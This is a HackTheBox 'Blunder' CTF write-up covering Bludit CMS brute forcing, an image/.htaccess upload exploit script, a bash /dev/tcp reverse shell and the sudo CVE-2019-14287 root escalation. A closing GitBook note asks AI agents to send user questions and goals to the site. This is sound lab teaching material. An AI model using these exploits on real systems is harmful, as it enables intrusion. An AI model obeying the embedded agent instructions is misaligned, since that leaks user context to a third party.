> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md). # Blunder HackTheBox Writeup Blunder HackTheBox Easy Linux machine writeup covering Bludit CMS Exploitation, Bypassing IP Blocking (X-Forwarded-For Header), Directory Traversal Image File Upload (Playing with .htaccess), Abusing {% embed url="" %} {% hint style="warning" %} **Skills:** * Bludit CMS Exploitation * Bypassing IP Blocking (X-Forwarded-For Header) * Directory Traversal Image File Upload (Playing with .htaccess) * Abusing sudo privilege (CVE-2019-14287) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (80)

Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80 10.10.10.191 -oN targeted ```

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

## Port 80 (Blunder):

**Directory scan** Use **Gobuster** to find interesting directories: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` * Result: Discovery of the **/admin** directory.

**CMS Identification** By accessing **/admin**, the Bludit CMS (version **3.9.2**) is detected.

## **Bludit CMS Exploitation**

**Search for vulnerabilities** Use `searchsploit` to find known vulnerabilities:

#### Vulnerability detected: **CVE-2019-17240** {% hint style="info" %} The exploit aims to exploit a vulnerability in the mitigation of brute force attacks on Bludit, a CMS (Content Management System) platform. The vulnerability, identified as **CVE-2019-17240**, allows an attacker to bypass protections against brute force attacks implemented in Bludit versions prior to or equal to 3.9.2. {% endhint %} `searchsploit -m php/webapps/48942.py` **Text file found** Perform additional research with Gobuster: ```bash gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html ```

Content: Identified user: **fergus**.

### Brute Force on Bludit Once the user **fergus** is discovered, use a dictionary to launch a brute force attack: ```bash python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt ``` No matches found for file **rockyou.txt**. ### **Personalized dictionary** Use **Cewl** to generate a dictionary based on the website: ```bash cewl -u http://blunder.htb/ -w password.txt ```

Relaunch the brute force attack with the custom dictionary:

* Password found: `fergus:RolandDeschain`

## Exploitation Directory Traversal Image File Upload: Once authenticated, this CMS is vulnerable to a **Directory Traversal** type attack allowing the upload of malicious files. {% embed url="" %} {% hint style="info" %} We can specify the location of the downloaded file by changing the value of `uuid` and then upload a malicious image to the temporary folder. {% endhint %} After authentication, it is possible to download a new exploit via `searchsploit` in `multiple/webapps/48701.txt`, which provides the steps to exploit this vulnerability.

**Steps for operation**

1. **Create a malicious file** (`evil.png`) containing PHP code: ```bash ``` 2. **Modify the script to adapt it to the situation** (victim's IP address, username, password, etc.).

3. **Run exploit:** Script Python d'exploitation : ```python #!/usr/bin/env python3 import requests import re import argparse import random import string import base64 from requests.exceptions import Timeout url = 'http://blunder.htb/admin' # CHANGE ME username = 'fergus' # CHANGE ME password = 'RolandDeschain' # CHANGE ME # msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png # echo -e " evil.png payload = 'evil.png' # CREATE ME #echo "RewriteEngine off" > .htaccess #echo "AddType application/x-httpd-php .png" >> .htaccess payload2 = '.htaccess' # CREATE ME def login(url,username,password): """ Log in with provided admin creds, grab the cookie once authenticated """ session = requests.Session() login_page = session.get(url + "/admin/") csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text ).group(1) cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1]) data = {"save":"", "password":password, "tokenCSRF":csrf_token, "username":username} headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer": url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", "Content-Type":"application/x-www-form-urlencoded" } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/", data=data, headers=headers, cookies=cookies, allow_redirects = False ) print("cookie: " + cookie) return cookie def get_csrf_token(url,cookie): """ Grab the CSRF token from an authed session """ session = requests.Session() headers = {"Origin":url, "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate"} cookies = {"BLUDIT-KEY":cookie} response = session.get(url + "/admin/dashboard", headers=headers, cookies=cookies ) csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0] print("csrf_token: " + csrf_token) return csrf_token def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False): """ Upload files required for to execute PHP from malicious image files. Payload and .htaccess """ session = requests.Session() files= {"images[]": (payload, open(payload, "rb"), "multipart/form-data", {"Content-Type": "image/png", "filename":payload} )} if override_uuid: data = {"uuid": "../../tmp/temp", "tokenCSRF":csrf_token} else: # On the vuln app, this line occurs first: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # Even though there is a file extension check, it won't really stop us # from uploading the .htaccess file. data = {"tokenCSRF":csrf_token} headers = {"Origin":url, "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Connection":"close", "Referer":url + "/admin/new-content", "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding":"gzip, deflate", } cookies = {"BLUDIT-KEY":cookie} response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies) print("Uploading payload: " + payload) if __name__ == "__main__": cookie = login(url, username, password) token = get_csrf_token(url, cookie) upload_evil_image(url, cookie, token, payload, True) upload_evil_image(url, cookie, token, payload2) ```

4. **Access the malicious file**: Once the image has been downloaded, simply go to `/bl-content/tmp/temp/evil.png` to execute commands.

5. **Listen on port 443 with Netcat**: ```bash nc -nvlp 443 ``` 5. **Execute a reverse shell**: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261" ```

**Terminal Session Management** : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Privilege Escalation Exploring the files reveals a file `users.php` in the `databases` folder containing hashed credentials for users `fergus` and `admin`: `admin:bfcc887f62e36ea019e3295aafb8a3885966e265` `fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

When using CrackStation to attempt to crack these hashes, it appears that they are not recognized.

However, at the root of the website, a more recent version of Bludit is found, containing the same configuration files, but with different credentials:

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

`hugo:Password120`

### Flag user.txt:

### Abusing sudo privilege (CVE-2019-14287): While examining sudo privileges, we discovered a vulnerable configuration in the sudoers file. Using the `sudo -l` command, we identified a privilege that allows all users except `root` to log in with the `/bin/bash` command:

{% embed url="" %} This vulnerability affects all versions of sudo prior to version 1.8.27. In our case, the sudo version is lower than 1.8.27, which makes this vulnerability exploitable.

To exploit this vulnerability, simply run the following command: ```bash sudo -u#-1 /bin/bash ``` This command allows you to run a shell as user `-1`, which corresponds to user `root`.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.